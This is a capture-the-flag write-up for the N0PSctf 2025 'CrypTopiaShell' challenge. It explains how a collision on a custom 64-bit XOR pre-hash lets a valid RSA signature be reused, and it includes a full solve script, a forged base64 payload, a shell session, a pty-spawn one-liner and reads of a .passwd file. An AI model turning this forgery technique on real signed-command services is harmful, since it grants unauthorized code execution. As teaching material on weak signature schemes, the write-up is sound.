# N0PSctf 2025 - CrypTopiaShell
**Title:** CrypTopiaShell
**Description:** We just found a breach in CrypTopia servers, and we have a shell access! However, they are using a custom shell to run commands in an authenticated way. We managed to exfiltrate the source code and a sample file, can you find a way to execute commands??
Author: [algorab](https://www.linkedin.com/in/thibault-huillet-1706b8217)
`nc 0.cloud.chals.io 13064`
**Files:**
- [cryptopiashell.py](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/cryptopiashell.py)
- [example.ctpsig](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/example.ctpsig)
## Solution:
### 1. Challenge Overview:
CrypTopiaShell is a custom “signed‐shell” service. When we connect to it via `nc 0.cloud.chals.io 13064`, it expects us to send a Base64‐encoded file in their proprietary “.ctpsig” format. Internally, the server:
1. Checks a fixed magic header (`\x01\x02CrypTopiaSig\x03\x04`).
2. Reads two 6-byte lengths: one for the payload (`data`) and one for the signature.
3. Extracts your command bytes as `self.data`, then the next chunk as `self.signature`.
4. Recomputes a 64-bit “mixing-XOR” of `self.data` (starting from `G = 0x8b6eec60fae5681c` and XOR’ing each byte shifted by `(i % 64)`). Call that final 64-bit value X.
5. Raises X to the secret exponent `K mod P` where `P` is a 2048-bit RSA modulus. If the resulting 256-byte integer matches `self.signature`, it does `os.system(self.data)`. Otherwise, it rejects us with “Invalid signature.”
Because we only see one valid signed example (`example.ctpsig`), we can’t learn `K` or `P` directly. However, the server’s signature‐check depends only on “X = mixing-XOR(G, data)”. As long as we craft a new `data_new` whose 64-bit mixing-XOR equals the example’s 64-bit mixing-XOR, we can reuse the same 256-byte signature and have the server run our chosen command. In short: the vulnerability is that forging a collision on a simple 64-bit XOR hash lets us reuse a valid RSA signature.
### 2. Exploitation:
Below is every step you need to go from “I have `example.ctpsig`” to “I get a shell.”
#### 2.1 Inspect the provided example `.ctpsig`
```bash
└─$ hexdump -C example.ctpsig | head -n 2
00000000 01 02 43 72 79 70 54 6f 70 69 61 53 69 67 03 04 |..CrypTopiaSig..|
00000010 00 00 00 00 00 48 00 00 00 00 01 00 65 63 68 6f |.....H......echo|
```
1. The first 16 bytes are:
```
01 02 43 72 79 70 54 6f 70 69 61 53 69 67 03 04
```
which is exactly `MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"`.
2. The next 6 bytes (`00 00 00 00 00 48`) decode to `length = 0x48 = 72` bytes. That means `example_data` is 72 bytes long.
3. The next 6 bytes (`00 00 00 00 01 00`) decode to `sig_length = 0x100 = 256`. The signature is 256 bytes.
4. Immediately after those 12 bytes, you see ASCII “echo…”. That means the example payload probably begins with `b"echo ..."`. In other words, the server’s original example was signing something like `echo hello` (or a similar 72-byte string).
So, in code:
```python
raw = open("example.ctpsig", "rb").read()
MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"
length = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6], "big") # = 72
sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big") # = 256
example_data = raw[len(MAGIC)+12 : len(MAGIC)+12 + length]
example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length]
```
#### 2.2 Recompute the 64-bit “mixing-XOR” of `example_data`
The server builds a 64-bit “hash” of your data by starting with
```python
gen = G = 0x8b6eec60fae5681c
mask = (1 << 64) - 1
```
then looping over every byte in `self.data`:
```python
for i in range(len(self.data)):
gen = (gen ^ (self.data[i] << (i % gen.bit_length()))) & mask
```
Since `gen.bit_length()` is 64, it’s effectively:
```python
h = G
for i, b in enumerate(self.data):
h = (h ^ (b << (i % 64))) & mask
H_example = h
```
That final 64-bit integer is what the server raises to `K mod P` to form the 256-byte signature. We call it `H_example`. We compute it exactly:
```python
G = 0x8b6eec60fae5681c
mask = (1 << 64) - 1
h = G
for i, b in enumerate(example_data):
h = (h ^ (b << (i % 64))) & mask
H_example = h
print(f"H_example = 0x{H_example:016x}")
```
We do *not* need `K` or `P`. As soon as we know `H_example`, we know that
```
example_signature == (H_example^K mod P).
```
#### 2.3 Choose our new command (`data_base`) and collide on that 64-bit hash
```python
data_base = b"/bin/bash #"
```
The `#` means “ignore everything after this as a comment,” so we can pad the rest of the bytes however we like.
1. Compute its partial hash `X_base`:
```python
X_base = G
for i, b in enumerate(data_base):
X_base = (X_base ^ (b << (i % 64))) & mask
print(f"X_base = 0x{X_base:016x}")
```
2. We will insert exactly eight “adjustable” bytes (because 64 bits = 8 bytes) at carefully chosen offsets so each one flips exactly one full byte of the 64-bit state. Specifically, we pick offsets:
```python
i_list = []
for k in range(8):
r = 8 * k
if r >= len(data_base):
i_k = r
else:
i_k = r + 64
i_list.append(i_k)
max_i = max(i_list)
```
That way, **`i_list[k] % 64 = 8*k`**, so if we place a byte `b_k` at position `i_list[k]`, it contributes
```python
(b_k << (8*k)) & mask
```
to the final 64-bit XOR. By choosing `b_k` appropriately, we can force the hash to match `H_example`.
3. Fill every other byte between `len(data_base)` and `max_i` with a constant filler (ASCII `‘A’ = 0x41`), and compute the “filler hash”:
```python
filler = 0x41 # 'A'
X_filler = 0
for j in range(len(data_base), max_i + 1):
if j not in i_list:
X_filler ^= ((filler << (j % 64))) & mask
X_filler &= mask
print(f"X_filler = 0x{X_filler:016x}")
```
Now the partial XOR so far is `X_partial = X_base ^ X_filler`.
4. We want our final 64-bit XOR to be exactly `H_example`. So we need a difference:
```python
D_adjust = (X_base ^ X_filler) ^ H_example
D_adjust &= mask
print(f"D_adjust = 0x{D_adjust:016x}")
```
This 64-bit integer `D_adjust` can be split into eight bytes:
```python
b_list = [(D_adjust >> (8*k)) & 0xFF for k in range(8)]
print(b_list) # eight bytes, in little-endian order
```
Each `b_list[k]` belongs at offset `i_list[k]`.
5. Build `data_new` of length `max_i + 1`:
```python
data_new = bytearray(max_i + 1)
for j in range(max_i + 1):
if j < len(data_base):
data_new[j] = data_base[j]
elif j in i_list:
idx = i_list.index(j)
data_new[j] = b_list[idx]
else:
data_new[j] = filler
```
Sanity-check:
```python
h2 = G
for i, b in enumerate(data_new):
h2 = (h2 ^ (b << (i % 64))) & mask
assert h2 == H_example, "Hash collision failed"
```
Now `data_new` is something like:
```
b"/bin/bash # A A A ... <8 adjust bytes> A A ..."
```
but it has the *exact same* 64-bit XOR as the example payload.
#### 2.4 Forge the `.ctpsig` with the old signature
Since the server only checks “`H(hash(data_new))^K mod P == signature`,” and we have forced `hash(data_new) == H_example`, the **same** `example_signature` is valid for `data_new`.
1. Build a fresh 12-byte header:
```python
new_length = len(data_new)
header = (
MAGIC
+ new_length.to_bytes(6, "big")
+ (256).to_bytes(6, "big")
)
forged = header + bytes(data_new) + example_signature
```
2. Base64 encode it:
```python
from base64 import b64encode
payload_b64 = b64encode(forged).decode("ascii")
print(payload_b64)
```
3. In your `nc 0.cloud.chals.io 13064` session, we paste this entire Base64 blob and press ENTER. Since the 64 bit XOR matches the example, the server recomputes `H_example^K mod P`, sees it’s the same as `example_signature`, and runs:
```python
os.system(b"/bin/bash # …")
```
We now have an interactive Bash shell on the server, like this:
```bash
└╼$ python3 solve.py
AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX
```
```
└╼$ nc 0.cloud.chals.io 13064
Welcome to CrypTopiaShell!
Provide base64 encoded shell commands in the CrypTopiaSig format in order to get them executed.
$ AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX
whoami
challenge
```
#### 2.5 Find the flag
With that shell, do:
```bash
ls -la /app
total 16
drwxr-xr-x 1 root root 4096 Apr 27 11:28 .
drwxr-xr-x 1 root root 4096 May 31 10:34 ..
-rw-r--r-- 1 root root 28 Oct 14 2024 .passwd
-rw-r--r-- 1 root root 2889 Oct 16 2024 main.py
cat /app/.passwd
N0PS{d0nT_s1gN_W17h_ChK5uMz}
```
either this, or we can get full shell using this `python3 -c 'import pty; pty.spawn("/bin/bash")'`
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls
challenge@6c084bcafe02:/app$ ls
main.py
challenge@6c084bcafe02:/app$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root 4096 Apr 27 11:28 .
drwxr-xr-x 1 root root 4096 May 31 10:34 ..
-rw-r--r-- 1 root root 28 Oct 14 2024 .passwd
-rw-r--r-- 1 root root 2889 Oct 16 2024 main.py
challenge@6c084bcafe02:/app$ cat .passwd
cat .passwd
N0PS{d0nT_s1gN_W17h_ChK5uMz}
```
```bash
Flag: N0PS{d0nT_s1gN_W17h_ChK5uMz}
```
#### Solve Script:
```python
#!/usr/bin/env python3
from base64 import b64encode
from pathlib import Path
# 1) Read example.ctpsig
raw = Path("example.ctpsig").read_bytes()
MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"
length = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6], "big") # = 72
sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big") # = 256
example_data = raw[len(MAGIC)+12 : len(MAGIC)+12 + length]
example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length]
# 2) Compute H_example
G = 0x8b6eec60fae5681c
mask = (1 << 64) - 1
h = G
for i, b in enumerate(example_data):
h = (h ^ (b << (i % 64))) & mask
H_example = h
# 3) data_base = "/bin/bash #"
data_base = b"/bin/bash #"
len_base = len(data_base)
X_base = G
for i, b in enumerate(data_base):
X_base = (X_base ^ (b << (i % 64))) & mask
# 4) pick 8 offsets so (offset % 64) = 8*k
i_list = []
for k in range(8):
r = 8*k
i_list.append(r if r >= len_base else r + 64)
max_i = max(i_list)
# 5) filler = 'A' = 0x41
filler = 0x41
X_filler = 0
for j in range(len_base, max_i + 1):
if j not in i_list:
X_filler ^= ((filler << (j % 64))) & mask
X_filler &= mask
# 6) D_adjust = (X_base ^ X_filler) ^ H_example
D_adjust = (X_base ^ X_filler) ^ H_example
D_adjust &= mask
b_list = [(D_adjust >> (8 * k)) & 0xFF for k in range(8)]
# 7) Build data_new
data_new = bytearray(max_i + 1)
for j in range(max_i + 1):
if j < len_base:
data_new[j] = data_base[j]
elif j in i_list:
idx = i_list.index(j)
data_new[j] = b_list[idx]
else:
data_new[j] = filler
# Sanity check
h2 = G
for i, b in enumerate(data_new):
h2 = (h2 ^ (b << (i % 64))) & mask
assert h2 == H_example
# 8) Forge .ctpsig (reuse example_signature)
new_length = len(data_new)
header = (
MAGIC
+ new_length.to_bytes(6, "big")
+ sig_length.to_bytes(6, "big")
)
forged = header + bytes(data_new) + example_signature
print(b64encode(forged).decode("ascii"))
```
## Conclusion
In summary, this challenge taught us that:
- Custom “lightweight” hashing is dangerous.
- Signature schemes must sign a full cryptographic digest (and possibly include context/salts).
- When given a sample signed blob, look for easy collision attacks on the pre-hash.
- Even after “getting a shell,” the flag might hide in a non-standard location—scan application folders and simple “.passwd” files.